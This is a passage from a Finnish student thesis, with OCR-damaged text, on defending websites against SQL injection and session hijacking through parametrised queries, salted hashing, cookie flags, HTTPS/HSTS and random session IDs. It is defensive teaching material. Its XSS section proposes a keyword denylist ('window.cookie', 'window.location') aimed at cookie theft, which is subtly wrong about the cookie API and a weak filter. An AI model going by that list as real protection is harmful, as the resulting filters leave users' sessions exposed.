valkolistausta pidetaan yleisesti parempana, koska siina luvallisten merkkien maara on
rajallisempi. Mustalistauksessa on inhimillistd unohtaa tai olla huomioimatta joku merkki,

jota hydkkaaja voi kayttaa SQL-injektiossa.

Ahmad (2021) esittdd kaytanndn valmistellusta ja parametrisoidusta kyselysta.
Tassa lahestymistavassa kaikki SQL-koodi, joka tapahtuu palvelimen puolella, on
maaritelty ja kdannetty ennalta. Tahan kyselyyn lisatdan muuttujat parametreina, jotka
tulkitaan merkkijonoina. Talla tavalla SQL-kyselyn SQL-osion muokkaaminen on
mahdotonta. (Ahmad ym., 2021) Tama kaytanto ei kuitenkaan ole mahdollista silloin, kun
kyselyn muuttuja on taulun nimi, taulun sarakkeen nimi tai ORDER BY -kaskyn, joka
jarjestaa kyselyn tulokset, osa. Tama johtuu siita, etta silloin kyselya ei voi kaantaa
ennalta. Koska taulun nimia, taulun sarakkeen nimia tai sarakkeita, jonka mukaan

tuloksen voi jarjestaa, on rajattu maara, voi naissa tapauksissa kayttaa valkolistausta.

On suositeltavaa, etta valmisteltua ja parametrisoitua kyselya kaytetédan aina, kun
se on mahdollista. Se on tehokas keino estaa SQL-injektio, koska se tulkitsee kaiken
kayttajan syodtteen merkkijonona ja siten kyselyn SQL-osaan ei ole mahdollista vaikuttaa.
Kun sen kayttd ei ole mahdollista, voidaan monesti kayttda valkolistausta syotteiden
tarkastamiseen ja kun se ei onnistu turvaudutaan mustalistaukseen. Syétteiden validointi

kuuluu tehda niin selaimessa kuin palvelimessakin. Jos kumpikaan edelld mainituista
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tekniikoista ei onnistu niin voidaan kayttda Escaping-tekniikkaa. Jos kayttajan syotteessa
on haitallisiksi maariteltyja merkkeja kuten ” tai ’ niin ne poistetaan tai kyselya ei tehda.
SQL-tietokannasta riippuen naitd merkkeja voi olla muitakin. Escaping-tekniikka on
hauras puolustusmekanismi eika se turvaa verkkosivua kovin hyvin SQL-injektioilta.
Escaping-tekniikkaa kaytettdessa ei voida taata SQL-injektioiden mahdottomuutta
(OWASP 2024).

Vaikka naitd edelld mainittuja tapoja estaa ja ehkaista SQL-injektioita on hyva
noudattaa, niin kuuluu kehittdjan aina varautua pahimpaan. Tietokannasta on hyva olla
olemassa varmuuskopio kaiken varalta. Mitdan mahdollisesti vaariin kasiin paatyessaan
todella haitallista tietoa ei saa tallentaa tietokantaan sellaisenaan, vaan ne pitaa tallentaa
salattuna (Kharod ym., 2015). Salasanat, myos harmittomien verkkosivujen salasanat,
on tamanlaista tietoa, koska ihmisilla on tietoturvan nakodkulmasta huono taipumus
kayttda samaa salasanaa monessa paikassa. Muita esimerkkeja tamanlaisesta tiedosta
voisivat olla terapeutin asiakkaiden hallintajarjestelman henkildkohtaiset asiakastiedot

tai jonkun yrityksen tarkeat liikkesalaisuudet.

Hajautusfunktiot ovat algoritmeja, jotka ottavat tdssa tapauksessa merkkijonon
sisdansa ja tuottavat niin sanotun tiivisteen. Jos syb6te on sama, niin myo6s
hajautusfunktiosta ulos tuleva tiiviste on sama. Tata kutsutaan hash-salaukseksi ja nain
salasanoja voidaan tallentaa tietokantaan. Hajautusfunktiot toimivat vain yhteen
suuntaan eli hydkkaajan paastessa tiivisteeseen kasiksi, ainoa tapa selvittda
alkuperainen salasana on arvata alkuperainen salasana, ajaa hajautusfunktion lapi ja
todeta funktiosta tullut tiiviste samaksi alkuperaisen tiivisteen kanssa. (Kharod ym.,
2015) On hyva mainita, ettd tama lahestymistapa ei toimi esimerkiksi mainitsemiini
likesalaisuuksiin tai terapeuttipalvelun henkildkohtaisiin tietoihin hajautusfunktioiden
yksisuuntaisuuden takia. Naissd tapauksissa kaytettaisiin sellaista kryptografista
salausta, joka on kaksisuuntainen. Silloin palvelin voi muuntaa tietokannassa olevan

merkkijonon alkuperaiseksi tekstiksi, jonka palvelin voi halutessaan lahettaa selaimelle.

Hajautusfunktion kayttdmisessd suoraan salasanaan on se ongelma, etta
tietokantaan kasiksi paastessaan hyokkaajalla on tieto siita, etta mitka salasanat ovat
samoja ja mika tiiviste on yleisin. Tasta tiedosta hyokkagja voi hyotya esimerkiksi
katsomalla varastetusta salasanatietokannasta yleisimmat salasanat ja kokeilemalla
niiden tasmaavyytta taman tietokannan yleisimpien salasanojen kanssa.
Hajautusfunktioita voi ja kuuluu tehostaa lisddamalla niiden sybtteeseen suola. Suola on
satunnaisgeneroitu merkkijonon patka, joka lisatdan alkuperaisen salasanan eteen tai
taakse. Yhdistamalld salasana ja uniikki suola saadaan tiiviste, joka tallennetaan

tietokantaan. (Kharod ym., 2015) Suola on uniikki, koska silloin samat salasanat
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tuottavat eri tiivisteen. Tietokannan yleisinta salasanaa ei voi paatella tiivisteista. Vaikka
alkuperainen hajautusfunktioon syotetty merkkijono arvattaisiin, se ei ole oikea salasana,

vaan salasanan ja suolan yhdistelma.
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6. ISTUNTOKAAPPAUKSELTA
SUOJAUTUMINEN

Kuten olen jo aiemmin maininnut, istuntokaappauksen voi tehda monella tavalla.
Istuntotunnuksen varastamiskeinoiksi olen nimennyt XSS:n, MITM-hyokkayksen,
datavarkauden ja istuntotunnuksen arvaamisen tilanteissa, joissa palvelin luo ennalta
arvattavia istuntotunnuksia. Jotta voin esittaa sen, miten istuntokaappaus voidaan estaa,

on minun luonnollisesti esitettava tavat, joilla nama hydkkaystekniikat voidaan estaa.

6.1 XSS:Ita suojautuminen

XSS-tekniikoita on monia, minka takia ei ole yhta yksiselitteista ja konkreettista
tapaa estaa niita. Suorittaakseen XSS-hyokkayksen hyokkadjan on injektoitava ja
suoritettava ilkedmielista HTML- tai JavaScript-koodia selaimessa. XSS-
puolustautumisen filosofian keskidssa on se, etta kaikkien verkkosivun sybtekenttien
tulee olla tarkastettuja ja puhdistettuja. (OWASP 2024) Tassa puhdistuksella
tarkoitetaan jo SQL-injektiota kasittelevastd kappaleesta tuttua valkolistausta tai
mustalistausta. Joko maaritelldan vain hyvaksyttavat merkit ja/tai merkkijonot tai sitten
kielletyt merkit ja/tai merkkijonot. Jos kumpikaan niista ei ole mahdollinen, niin kaytetaan
SQL-injektio kappaleesta tuttua escaping-tekniikkaa. Jos kayttdjan sydte sisaltaa

kiellettyja merkkeja tai merkkijonoja, kdynnissa oleva toiminta keskeytetaan.

Varastoidussa XSS:ssad ensin syOtetdan jotain sydtekenttdan ja sen jalkeen
palvelin tallentaa sen tietokantaan. Taman jalkeen taman asian nakevat kaikki muut
kayttajat, jotka avaavat sivun. Tasta tein aiemmin esimerkin, jossa kayttaja Kirjoittaa
sivulle kommentin, jonka tallennetaan tietokantaan ja sitten kaikki nakevat. Yusof ja
Patham (2015) esittavat, etta syote kuuluu tarkistaa ennen tietokantaan tallentamista ja
puhdistetaan ennen kuin se lahetettdan kayttdjille naytettdvaksi. Tama on jarkeva
toimintatapa, koska kaikki varastoitu XSS-koodi paatyy tietokantaan tai muuhun sijantiin
palvelimella. Tassad tapauksessa ei ole tarpeellista tarkistaa erikseen selaimessa sita
syotekenttaa, johon kommentti kirjoitetaan, ellei siihen jotain muuta perustetta ole. Jos
mahdollista kaytetaan valkolistausta, jos ei kuten kommentti esimerkissa, kaytetaan
mustalistausta. Kun puhumme XSS:std istuntokaappauksen yhteydessd on

window.cookie ja window.location kiellettyjen merkkijonojen ensimmaiset jasenet.

6.2 MITM-hyokkaykselta suojautuminen
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Koska istuntotunnus on evasteena, on evasteen ominaisuuksien saataminen
olennaista sen suojaamiseksi. Yksi keino, jota aina pitaisi kayttda, on httpOnly- ja
Secure-ominaisuuksien kayttdé evasteissa. Secure-ominaisuus varmistaa sen, ettd
evastettad ei lisatd kutsuun, joka kulkee suojaamattoman yhteyden kautta. HttpOnly-
ominaisuuden kaytdssa ollessa evasteeseen ei voi saada kasiinsd selaimen puolen

skriptien avulla. Ei mahdollisten hyokkaajien eika kehittajan omien skriptien avulla.

Kehittdjan kuuluu myés varmistaa, ettd kaikki kommunikointi tapahtuu HTTPS-
protokollan yli. Tama eroaa HTTP:sta siten, etta kaikki data, joka liikkuu, on salattu. SSL
(Secure Sockets Layer) ja TLS (Transport Layer Secure) ovat HTTPS-varmenteita, joilla
salattu yhteys muodostetaan. TLS on paranneltu versio SSL:sta ja sitd suositellaan
kaytettavan aina kun mahdollista. (Digicert 2024) Vaikka hyokkaaja onnistuisi
salakuuntelemaan HTTPS-kommunikointia, ei han valttamatta saisi mitdan haitallista
haltuunsa HSTS (HTTP Strict Transport Security) on keino, jolla palvelin voi pakottaa
yhteydet HTTPS-yhteyksiksi, paaasiassa TLS-yhteyksksi. Vaikka HTTPS-yhteyksia
kaytettaisiin kaikkialla, hyokkaajilla voi olla keinoja muuntaa HT TP-yhteydeksi. Jos selain
yrittaisi tehdd HTTP-yhteyden palvelimelle, joka kayttdd HSTS:88, yhteys estettaisiin.
HSTS vahentaa MITM-hyokkaysten mahdollisuuksia. (Litvik ym., 2017)

En ole selittanyt miten tarkalleen HTTPS ja siten SSL, TLS ja yhteyksien
salaaminen toimii, koska tama on niin laaja ja monimutkainen asia, etta siita voisi tehda
oman kandidaattitutkintonsa. Asia voidaan yksinkertaistaa siten, etta yhteydet kuuluu
allekirjoittaa kolmannen osapuolen CA (Certificate Authority) toimesta, jotta voidaan
varmistua HTTPS-yhteyksien olevan turvallisia. Pelkkd HTTPS-yhteys on toki salattu,
mutta CA:n avulla allekirjoitettua yhteyttd pidetdan vield turvallisempana. Viime
kappaleessa viittaamani digicert on yksi selaimien luottama CA. Turvattomien WI-FI
yhteyksien ja muiden yhteyksien kayttdmiseen on kehittgjan vaikea vaikuttaa eika se
edes ole kehittdjan tyota. Toisaalta suojattujen yhteyksien pakottaminen vaikuttaa tdhan
osaltaan. Yritys voi kylla yrittda lisata ihmisten tietoisuutta turvattomien yhteyksien

vaaroista oman nettisivunsa kayttgjille.

6.3 Ennalta arvattavan istuntotunnuksen valttaminen

Yhdeksi hyokkaystavaksi olen nimennyt sen, ettd hyokkaaja voi saada
istuntotunnuksen tietoonsa, jos palvelin generoi sen siten, ettd sen voi arvata ennalta.
Taman hyodkkayskeinon valttdminen ei vaadi muuta kuin sen, etta palvelimen tekija toimii
vastuullisesti. Istuntotunnuksen pitda olla satunnainen riippumatta milloin, missa ja

kenen toimesta kirjautuminen tehdaan. Jos tunnus esimerkiksi olisi kirjautumiseen
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tarkoitetun HTTP-kutsun ajan ja kutsun lahettgjan IP-osoitteen yhdistelma, voisivat
hyokkaajat kayttaa taté hyvakseen. En aio menna sen syvemmin tapaan, jolla tama
merkkijono voidaan muodostaa, mutta helpoin tapa on kayttdd jotain luotettavaa
kirjastoa. JavaScript on suosituin verkkosivujen toteuttamiseen kaytetty kieli ja uuid sen
suosituin kirjasto. Sana uuid tulee sanoista Universally unique identifier eli kirjasto
muodostaa satunnaisia uniikkeja merkkijonoja. Todennakoisyys sille, ettd tulee kaksi
samaa uuid:td ei ole nolla, mutta se on niin lahelld nollaa, etta tama riski on lahes
olematon. Muitakin keinoja toki on kuten window.crypto.getRandomValues() funktion

hyddyntaminen. (Sling academy)
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7. YHTEENVETO

Tutkimuskysymykseni  oli siis seuraava. Miten SQL injektiota ja
istuntokaappausta kaytetaan osana nettisivuhyokkdyksia ja miten niiltd voi

suojautua?

Tydssani kerroin, ettd SQL-injektiolla tarkoitetaan hydkkaysta, jossa hyokkaaja
paasee tekemaan haitallisia kyselyita tietokantaan. Hyokkaaja onnistuu tekemaan nain
syottamallda SQL-koodia selaimen syodtekenttddn kohdassa, jossa palvelin luo
dynaamisesti SQL-kyselyn. Hydkkaaja voi talla tavoin lisata, varastaa, muuntaa tietoa,

poistaa riveja tai tehda jotain muita ei toivottuja toimenpiteita.

SQL-injektion ensisijaiseksi puolustamiskeinoksi nimesin valmistellun ja
parametrisoidun kyselyn. Se on tehokas keino, koska sen avulla SQL-koodi on kdannetty
ennalta ja lisatyt parametrit tulkitaan merkkijonona. SQL-koodiin on siten mahdotonta
vaikuttaa, mutta tdma ei ole aina mahdollista kuten silloin, kun muuttuja on taulun tai
taulun sarakkeen nimi. Kun tama ei ole mahdollista kaytetdan valkolistausta, jossa
hyvaksytyt merkit ja/tai merkkijonot on maaritelty ennalta. Jos sekaan ei ole mahdollista
mustalistausta tekniikkaa, jossa kielletyt merkit ja/tai merkkijonot on maaritelty ennalta.
Naiden keinojen lisdksi varaudutaan pahimpaan. Tietokannasta tehdaan varmuuskopio,
jotta kaikkea ei meneteta lopullisesti, jos tietokannasta menetetaan tietoa. Syyna tahan
voi hyokkayksen lisdksi olla esimerkiksi kehittajan tekema virhe, joka paatyy tuotantoon.
Mahdollisesti vaarissa kasissa haitallista tietoa ei tallenneta tietokantaan sellaisenaan.
Salasanojen salaaminen tapahtuu palvelimella hajautusfunktioiden avulla.
hajautusfunktioiden alkuperdisen merkkijonon eteen tai taakse lisatdan suola

hajautusfunktion tehostamiseksi.

Istuntokaappaus on hyokkays, joka kohdistetaan sivuihin, jotka kayttavat web-
istuntoa. Web-istunto toimii siten, ettd kayttajan kirjautuessa palvelin tarkastaa
kayttajatietojen oikeellisuuden. Jos kayttajatiedot ovat oikeat, palvelin luo merkkijonon,
jonka avulla kayttaja tunnistetaan. Tama merkkijono lahetetaan evasteena selaimelle ja
aina kun selain tekee kutsun palvelimelle, tama merkkijono kulkee kutsussa mukana
evasteena. Jos hyokkaaja paasee tahan merkkijonoon kasiksi, han voi tehda siita kopion
omalle selaimelle. Nyt palvelin luulee, ettd hyokkaajan selain on kayttajan selain ja
hyokkaaja voi tehda asioita kayttajan nimissa. Istuntokaappauksella tarkoitetaan kaikkia

niitd hyokkayksia, joilla tdhan merkkijonoon paastaan kasiksi. Keinoiksi olen nimennyt
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XSS, MITM, data varkaus ja tunnuksen arvaamisen tilanteissa, joissa palvelin generoi

ennalta arvattavia istuntotunnuksia.

Jotta istuntokaappaukselta voitaisiin suojautua, pitdd suojautua kaikilta siihen
kaytettaviltd keinoilta. XSS suojautumisen istuntokaappauksen yhteydessa voitaisiin
tiivistaa yhteen virkkeeseen. Kayta HttpOnly evasteitd, jolloin selaimen puolen scripteilla
ei paase kasiksi evasteeseen. Sivusin kappaleessa kuusi myds vahan XSS:lta

suojautumista yleisesti.

MITM-hyokkaykset ovat kaikki ne hydkkaykset, joissa kahden osapuolen valinen
kommunikointi kaapataan tai sitd salakuunnellaan. Evasteissd kuuluu aina kayttaa
HttpOnly-ominaisuuden lisdksi Secure-ominaisuutta, joka estada evasteen lahettamisen
nita yhteyksia pitkin, joita ei luokitella turvalliseksi. Taman lisaksi kehittdjan kuuluu
varmistaa, ettd HTTPS-protokollaa kaytetaan kaikkialla nettisivulla. Jos sita kaytettaisiin
vain kirjautumissivulla ja muut sivut kayttaisivat HTTP-protokollaa, olisi hydkkaajan
helpompi paasta viestin sisaltoon kasiksi, koska sita ei HTTP-protokollassa ole salattu.
HSTS on HTTP-kutsun otsikko, joka pakottaa kaikkien palvelimelle tehtyjen yhteyksien
olevan HTTPS-yhteyksia. Jos muita ei salattuja yhteyksia yritetdan tehda, palvelin estaa
yhteyden. Vaikka sivusto kayttaisi HTTPS:8a8, hyokkagjilla voi olla keinoja muuntaa
yhteys HTTP-yhteydeksi. HSTS on keino varmistaa, ettei HTTP-yhteyksia pystyta
luomaan ja siten ehkaisee MITM-hyodkkayksia. Sivuston yhteyksien kuuluu kayttaa ei itse
allekirjoitettuja SSL/TLS todistuksia (certificate). Jotkut MITM-hydkkaykset perustuvat
siihen, ettd kayttajat saadaan kayttdmaan turvaamattomia WI-FI yhteyksia. Niihin on

kehittdjan vaikea vaikuttaa, mutta esimerkiksi tietoisuutta voidaan yrittaa lisata.

Viimeinen hyokkayskeino on kayttdjan istuntotunnuksen arvaaminen tilanteissa,
jossa palvelin generoi ennalta-arvattavia istuntotunnuksia. Tama voidaan valttaa
pitamalld huoli siitd, ettd tunnus generoidaan oikeasti satunnaisesti. Suosittelin
kayttamaan jotain asian hoitavaa luotettavaa kirjastoa. Mainitsin uuid:n, koska se on
nettisivukehityksen suosituimman kielen eli JavaScriptin suosituin kirjasto uniikin

tunnuksen luomiseen. Muitakin keinoja toki on kuin ulkoisten kirjastojen kaytto.

Vastasin tutkimuskysymykseeni kokonaisvaltaisesti. Kerroin mikd SQL-injektio on
ja selitin, mita parhaat puolustautumiskeinot ovat. Istuntokaappauksen ymmartamiseksi
taustoitin verkkosivujen toimintaa ja kerroin miten istuntokaappaus toimii. Kerroin keinot,
miten istuntokaappaus voidaan suorittaa ja esitin myds puolustautumistekniikoita. MITM-
hyokkayksen eri muotoihin oisin voinut syventyd enemman, mutta niihin syventyminen
vaatisi paljon taustatietoa ja jouduin tekem&an kompromissin tyoni pituuden takia.

Johdannossa totesin, ettd pyrin antamaan mahdollisimman konkreettisia keinoja
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hyokkayksien torjumiseksi ja valttamaan ymparipyoreyksia. Pidin taman tavoitteen koko
kandidaattitutkielman tekemisen ajan mielessani ja annoin konkreettisia keinoja, kun se

oli mahdollista.
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